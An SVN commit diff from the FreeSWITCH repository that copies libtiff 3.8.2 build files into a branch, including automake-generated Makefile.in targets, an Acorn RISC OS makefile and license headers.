+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	target=`echo $@ | sed s/-recursive//`; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    dot_seen=yes; \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done; \
+	if test "$$dot_seen" = "no"; then \
+	  $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \
+	fi; test -z "$$fail"
+
+mostlyclean-recursive clean-recursive distclean-recursive \
+maintainer-clean-recursive:
+	@failcom='exit 1'; \
+	for f in x $$MAKEFLAGS; do \
+	  case $$f in \
+	    *=* | --[!k]*);; \
+	    *k*) failcom='fail=yes';; \
+	  esac; \
+	done; \
+	dot_seen=no; \
+	case "$@" in \
+	  distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \
+	  *) list='$(SUBDIRS)' ;; \
+	esac; \
+	rev=''; for subdir in $$list; do \
+	  if test "$$subdir" = "."; then :; else \
+	    rev="$$subdir $$rev"; \
+	  fi; \
+	done; \
+	rev="$$rev ."; \
+	target=`echo $@ | sed s/-recursive//`; \
+	for subdir in $$rev; do \
+	  echo "Making $$target in $$subdir"; \
+	  if test "$$subdir" = "."; then \
+	    local_target="$$target-am"; \
+	  else \
+	    local_target="$$target"; \
+	  fi; \
+	  (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \
+	  || eval $$failcom; \
+	done && test -z "$$fail"
+tags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \
+	done
+ctags-recursive:
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  test "$$subdir" = . || (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \
+	done
+
+ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES)
+	list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	mkid -fID $$unique
+tags: TAGS
+
+TAGS: tags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \
+	  include_option=--etags-include; \
+	  empty_fix=.; \
+	else \
+	  include_option=--include; \
+	  empty_fix=; \
+	fi; \
+	list='$(SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test ! -f $$subdir/TAGS || \
+	      tags="$$tags $$include_option=$$here/$$subdir/TAGS"; \
+	  fi; \
+	done; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	if test -z "$(ETAGS_ARGS)$$tags$$unique"; then :; else \
+	  test -n "$$unique" || unique=$$empty_fix; \
+	  $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \
+	    $$tags $$unique; \
+	fi
+ctags: CTAGS
+CTAGS: ctags-recursive $(HEADERS) $(SOURCES)  $(TAGS_DEPENDENCIES) \
+		$(TAGS_FILES) $(LISP)
+	tags=; \
+	here=`pwd`; \
+	list='$(SOURCES) $(HEADERS)  $(LISP) $(TAGS_FILES)'; \
+	unique=`for i in $$list; do \
+	    if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \
+	  done | \
+	  $(AWK) '    { files[$$0] = 1; } \
+	       END { for (i in files) print i; }'`; \
+	test -z "$(CTAGS_ARGS)$$tags$$unique" \
+	  || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \
+	     $$tags $$unique
+
+GTAGS:
+	here=`$(am__cd) $(top_builddir) && pwd` \
+	  && cd $(top_srcdir) \
+	  && gtags -i $(GTAGS_ARGS) $$here
+
+distclean-tags:
+	-rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+	list='$(DIST_SUBDIRS)'; for subdir in $$list; do \
+	  if test "$$subdir" = .; then :; else \
+	    test -d "$(distdir)/$$subdir" \
+	    || $(mkdir_p) "$(distdir)/$$subdir" \
+	    || exit 1; \
+	    distdir=`$(am__cd) $(distdir) && pwd`; \
+	    top_distdir=`$(am__cd) $(top_distdir) && pwd`; \
+	    (cd $$subdir && \
+	      $(MAKE) $(AM_MAKEFLAGS) \
+	        top_distdir="$$top_distdir" \
+	        distdir="$$distdir/$$subdir" \
+	        distdir) \
+	      || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-recursive
+all-am: Makefile
+installdirs: installdirs-recursive
+installdirs-am:
+install: install-recursive
+install-exec: install-exec-recursive
+install-data: install-data-recursive
+uninstall: uninstall-recursive
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-recursive
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-recursive
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-recursive
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool \
+	distclean-tags
+
+dvi: dvi-recursive
+
+dvi-am:
+
+html: html-recursive
+
+info: info-recursive
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-recursive
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-recursive
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-recursive
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-recursive
+
+pdf-am:
+
+ps: ps-recursive
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+uninstall-info: uninstall-info-recursive
+
+.PHONY: $(RECURSIVE_TARGETS) CTAGS GTAGS all all-am check check-am \
+	clean clean-generic clean-libtool clean-recursive ctags \
+	ctags-recursive distclean distclean-generic distclean-libtool \
+	distclean-recursive distclean-tags distdir dvi dvi-am html \
+	html-am info info-am install install-am install-data \
+	install-data-am install-exec install-exec-am install-info \
+	install-info-am install-man install-strip installcheck \
+	installcheck-am installdirs installdirs-am maintainer-clean \
+	maintainer-clean-generic maintainer-clean-recursive \
+	mostlyclean mostlyclean-generic mostlyclean-libtool \
+	mostlyclean-recursive pdf pdf-am ps ps-am tags tags-recursive \
+	uninstall uninstall-am uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+This directory contains various contributions from libtiff users.
+

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.acorn

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.acorn (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/Makefile.acorn) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.acorn	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.acorn	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+# Project:   LibTIFF
+
+
+# Toolflags:
+CCflags = -c -zo -ffah -depend !Depend -IC:
+C++flags = -c -depend !Depend -IC: -throwback
+Linkflags = -aif -c++ -o $@
+DrLinkflags = -nounused -aif -c++ -o $@
+ObjAsmflags = -throwback -NoCache -depend !Depend
+CMHGflags = 
+LibFileflags = -c -o $@
+Squeezeflags = -o $@
+
+
+# Final targets:
+@.o.LIBTIFF:   \
+        @.o.tif_acorn \
+        @.o.tif_aux \
+        @.o.tif_close \
+        @.o.tif_codec \
+	@.o.tif_compress \
+	@.o.tif_dir \
+	@.o.tif_dirinfo \
+	@.o.tif_dirread \
+	@.o.tif_dirwrite \
+	@.o.tif_dumpmode \
+	@.o.tif_error \
+	@.o.tif_fax3 \
+	@.o.tif_flush \
+	@.o.tif_getimage \
+	@.o.tif_jpeg \
+	@.o.tif_lzw \
+	@.o.tif_next \
+	@.o.tif_open \
+	@.o.tif_packbits \
+	@.o.tif_predict \
+	@.o.tif_print \
+	@.o.tif_read \
+	@.o.tif_strip \
+	@.o.tif_swab \
+	@.o.tif_thunder \
+	@.o.tif_tile \
+	@.o.tif_version \
+	@.o.tif_warning \
+	@.o.tif_write \
+	@.o.tif_zip \
+	@.o.tif_fax3sm \
+	@.h.version 
+	LibFile $(LibFileflags) \
+	@.o.tif_acorn \
+	@.o.tif_aux \
+	@.o.tif_close \
+	@.o.tif_codec \
+	@.o.tif_compress \
+	@.o.tif_dir \
+	@.o.tif_dirinfo \
+	@.o.tif_dirread \
+	@.o.tif_dirwrite \
+	@.o.tif_dumpmode \
+	@.o.tif_error \
+	@.o.tif_fax3 \
+	@.o.tif_flush \
+	@.o.tif_getimage \
+	@.o.tif_jpeg \
+	@.o.tif_lzw \
+	@.o.tif_next \
+	@.o.tif_open \
+	@.o.tif_packbits \
+	@.o.tif_predict \
+	@.o.tif_print \
+	@.o.tif_read \
+	@.o.tif_strip \
+	@.o.tif_swab \
+	@.o.tif_thunder \
+	@.o.tif_tile \
+	@.o.tif_version \
+	@.o.tif_warning \
+	@.o.tif_write \
+	@.o.tif_zip \
+	@.o.tif_fax3sm 
+
+
+# User-editable dependencies:
+@.mkversion:   @.o.mkversion C:o.Stubs 
+	Link $(linkflags) @.o.mkversion C:o.Stubs 
+@.h.version:   @.VERSION @.mkversion 
+	<Prefix$Dir>.mkversion -v @.VERSION -a @.tiff/alpha @.h.version 
+@.mkg3states:   @.o.mkg3states @.o.getopt C:o.Stubs 
+	link $(linkflags) @.o.mkg3states C:o.Stubs @.o.getopt 
+@.c.tif_fax3sm:   @.mkg3states 
+	<Prefix$Dir>.mkg3states -c const @.c.tif_fax3sm 
+
+# Static dependencies:
+@.o.tif_acorn:   @.c.tif_acorn
+	cc $(ccflags) -o @.o.tif_acorn @.c.tif_acorn 
+@.o.tif_aux:   @.c.tif_aux
+	cc $(ccflags) -o @.o.tif_aux @.c.tif_aux 
+@.o.tif_close:   @.c.tif_close
+	cc $(ccflags) -o @.o.tif_close @.c.tif_close 
+@.o.tif_codec:   @.c.tif_codec
+	cc $(ccflags) -o @.o.tif_codec @.c.tif_codec 
+@.o.tif_compress:   @.c.tif_compress
+	cc $(ccflags) -o @.o.tif_compress @.c.tif_compress 
+@.o.tif_dir:   @.c.tif_dir
+	cc $(ccflags) -o @.o.tif_dir @.c.tif_dir 
+@.o.tif_dirinfo:   @.c.tif_dirinfo
+	cc $(ccflags) -o @.o.tif_dirinfo @.c.tif_dirinfo 
+@.o.tif_dirread:   @.c.tif_dirread
+	cc $(ccflags) -o @.o.tif_dirread @.c.tif_dirread 
+@.o.tif_dirwrite:   @.c.tif_dirwrite
+	cc $(ccflags) -o @.o.tif_dirwrite @.c.tif_dirwrite 
+@.o.tif_dumpmode:   @.c.tif_dumpmode
+	cc $(ccflags) -o @.o.tif_dumpmode @.c.tif_dumpmode 
+@.o.tif_error:   @.c.tif_error
+	cc $(ccflags) -o @.o.tif_error @.c.tif_error 
+@.o.tif_fax3:   @.c.tif_fax3
+	cc $(ccflags) -o @.o.tif_fax3 @.c.tif_fax3 
+@.o.tif_flush:   @.c.tif_flush
+	cc $(ccflags) -o @.o.tif_flush @.c.tif_flush 
+@.o.tif_getimage:   @.c.tif_getimage
+	cc $(ccflags) -o @.o.tif_getimage @.c.tif_getimage 
+@.o.tif_jpeg:   @.c.tif_jpeg
+	cc $(ccflags) -o @.o.tif_jpeg @.c.tif_jpeg 
+@.o.tif_lzw:   @.c.tif_lzw
+	cc $(ccflags) -o @.o.tif_lzw @.c.tif_lzw 
+@.o.tif_next:   @.c.tif_next
+	cc $(ccflags) -o @.o.tif_next @.c.tif_next 
+@.o.tif_open:   @.c.tif_open
+	cc $(ccflags) -o @.o.tif_open @.c.tif_open 
+@.o.tif_packbits:   @.c.tif_packbits
+	cc $(ccflags) -o @.o.tif_packbits @.c.tif_packbits 
+@.o.tif_predict:   @.c.tif_predict
+	cc $(ccflags) -o @.o.tif_predict @.c.tif_predict 
+@.o.tif_print:   @.c.tif_print
+	cc $(ccflags) -o @.o.tif_print @.c.tif_print 
+@.o.tif_read:   @.c.tif_read
+	cc $(ccflags) -o @.o.tif_read @.c.tif_read 
+@.o.tif_strip:   @.c.tif_strip
+	cc $(ccflags) -o @.o.tif_strip @.c.tif_strip 
+@.o.tif_swab:   @.c.tif_swab
+	cc $(ccflags) -o @.o.tif_swab @.c.tif_swab 
+@.o.tif_thunder:   @.c.tif_thunder
+	cc $(ccflags) -o @.o.tif_thunder @.c.tif_thunder 
+@.o.tif_tile:   @.c.tif_tile
+	cc $(ccflags) -o @.o.tif_tile @.c.tif_tile 
+@.o.tif_version:   @.c.tif_version
+	cc $(ccflags) -o @.o.tif_version @.c.tif_version 
+@.o.tif_warning:   @.c.tif_warning
+	cc $(ccflags) -o @.o.tif_warning @.c.tif_warning 
+@.o.tif_write:   @.c.tif_write
+	cc $(ccflags) -o @.o.tif_write @.c.tif_write 
+@.o.tif_zip:   @.c.tif_zip
+	cc $(ccflags) -o @.o.tif_zip @.c.tif_zip 
+@.o.mkg3states:   @.c.mkg3states
+	cc $(ccflags) -o @.o.mkg3states @.c.mkg3states 
+@.o.getopt:   @.c.getopt
+	cc $(ccflags) -o @.o.getopt @.c.getopt 
+@.o.mkspans:   @.c.mkspans
+	cc $(ccflags) -o @.o.mkspans @.c.mkspans 
+@.o.tif_fax3sm:   @.c.tif_fax3sm
+	cc $(ccflags) -o @.o.tif_fax3sm @.c.tif_fax3sm 
+@.o.mkversion:   @.c.mkversion
+	cc $(ccflags) -o @.o.mkversion @.c.mkversion 
+
+# Dynamic dependencies:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = Makefile.acorn ReadMe SetVars cleanlib convert install
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/acorn/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/acorn/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/acorn
+DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = Makefile.acorn ReadMe SetVars cleanlib convert install
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/acorn/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/acorn/Makefile
+.PRECIOUS: Makefile
